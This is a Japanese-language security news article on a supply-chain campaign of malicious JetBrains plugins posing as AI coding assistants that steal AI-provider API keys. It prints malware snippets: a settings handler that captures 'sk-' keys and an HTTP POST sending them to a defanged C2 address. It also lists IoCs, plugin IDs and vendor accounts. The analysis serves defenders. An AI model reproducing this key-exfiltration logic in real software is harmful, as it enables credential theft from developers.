JetBrains IDE を狙う悪意のプラグイン:OpenAI/DeepSeek/SiliconFlow などの API キーを窃取

JetBrains Plugin Security Alert: 70,000+ Installs Linked to AI Key Theft

2026/06/17 gbhackers — JetBrains IDE ユーザーを標的とする協調的なサプライチェーン攻撃により、7 万人を超える開発者が、認証情報窃取のリスクにさらされていた。このキャンペーンに関与していたのは、DeepSeek などのモデルを基盤とする AI 搭載コーディング・アシスタントを装い、JetBrains Marketplace 経由で配布された少なくとも 15 件の悪意あるプラグインである。

これらのプラグインは、コードレビュー/チャット/コミットメッセージ生成といった機能を提供するとし、実際にそのとおりに動作するが、その一方でユーザーが入力した機密性の高い API キーを密かに流出させていた。そのため、開発者エコシステムと IDE エクステンションにおけるセキュリティと信頼に、深刻な懸念が生じている。

JetBrains プラグインのセキュリティ警告

それらの悪意のプラグインは、7 つのベンダー・アカウントから公開されており、2025年10月から活動していた。また、新たな亜種が 2026年6月に出現している。

Aikido Security が公開した調査結果によると、JetBrains の手動レビュー・プロセスにもかかわらず、攻撃者は正規に見える機能の中に、ステルス性の高いデータ流出ロジックを埋め込むことに成功していた。

主な標的は、OpenAI/DeepSeek/SiliconFlow などの AI プロバイダーの API キーである。これらの価値の高い認証情報には、計算リソースの取得での悪用や、地下市場での転売といった可能性がある。

技術分析によると、ユーザーがプラグイン設定内に API キーを保存した直後に、流出メカニズムが起動する。この悪意のロジックは、標準的なコンフィグ・ハンドラに埋め込まれているため検出が難しい。

public static void save(String key) {
    if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key);
        BaseUtil.request("key", dto);
    }
}
```

盗まれたキーは、ハードコードされた C2 サーバのアドレスに対して、暗号化されていない HTTP リクエストで送信される。

URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
```

注目すべき点として、このインフラは平文送信と静的な認証トークンを使用しており、運用上のセキュリティは低い。しかし、ユーザーの信頼を悪用しているため、高い効果を発揮していた。

さらに、一部のプラグインは有料ティア・モデルを実装しており、ユーザーは攻撃者のサーバから代替 API キーを受け取る状況にある。研究者たちは、これらのキーが以前に盗まれた認証情報を再利用したものである可能性を疑っている。つまり、この活動が事実上、認証情報の再販サービスになっていると見ている。

このキャンペーンは、開発者環境を標的にする傾向が、攻撃者たちの間で強まっていることを示している。IDE は、ソースコード/認証情報/クラウド・アクセス・トークンを含む集中ハブとして機能する。したがって、一連のプラグインは高い権限を持ち、サンドボックス化も限定的であるため、ステルス性の高いデータ窃取の理想的なベクターとなる。

VS Code に影響を及ぼした “GlassWorm” キャンペーンなどの、類似のサプライチェーン攻撃は、この脅威カテゴリが急速に拡大していることを示している。

侵害インジケータ (IoC)

ネットワーク IoC

タイプインジケータ説明
IP39.107.60[.]51C2/流出エンドポイント IP

悪意の JetBrains プラグイン

プラグイン名プラグイン ID概算インストール数初確認日 (リリース日)
DeepSeek Junit Testorg.sm.yms.toolkit1,1212025-10-31
DeepSeek Git Commitcom.json.simple.kit1,8942025-11-01
DeepSeek FindBugsorg.bug.find.tools1,4852025-11-09
DeepSeek AI Chatorg.translate.ai.simple1,3172025-11-23
DeepSeek Dev AIcom.yy.test.ai.simple7402025-11-30
DeepSeek AI Codingcom.dev.ai.toolkit4502025-12-06
AI FindBugscom.json.view.simple6232025-12-14
AI Git Commitorcom.my.git.ai.kit3012026-01-10
AI Coder Revieworg.check.ai.ds7352026-01-11
DeepSeek Coder AIcom.review.tool.code3,4982026-01-15
AI Coder Assistantorg.code.assist.dev.tool3192026-02-01
DeepSeek Code Reviewcom.coder.ai.dpt2782026-04-18
CodeGPT AI Assistantcom.my.code.tools25,5712026-06-09
DeepSeek AI Assistord.cp.code.ai.kit27,7272026-06-10
Coding Simple Toolcom.dp.git.ai.tool3,931N/A (オンライン・バージョンなし)

悪意あるベンダー・アカウント

ベンダー表示名ベンダー ID/ハンドル
CodePilotmycode
StackSmithmisshewei
CodeCrafterketeme
CodeWeaversimpledev
JetCodeskyblue
DailyCodedialycode
ZenCoder947cb4c8-5db1-4cf0-8182-0aae7c433bb3

注記:IP アドレスおよびドメインは、意図しない名前解決やハイパーリンク化を防ぐため、意図的に無害化 (例:[.] ) されている。再有効化 (re-fang) は、MISP/VirusTotal/SIEM などの管理された脅威インテリジェンス・プラットフォーム内でのみ実施すること。

セキュリティ専門家たちが推奨するのは、影響を受けるプラグインの即時の削除と、露出した API キーのローテーション、異常な API 利用の監視である。さらに、ユーザー組織は、プラグイン・インストールに関する厳格な制御を導入し、Software Composition Analysis (SCA) やランタイム保護などのツールを活用して、同様の脅威を早期に検出すべきである。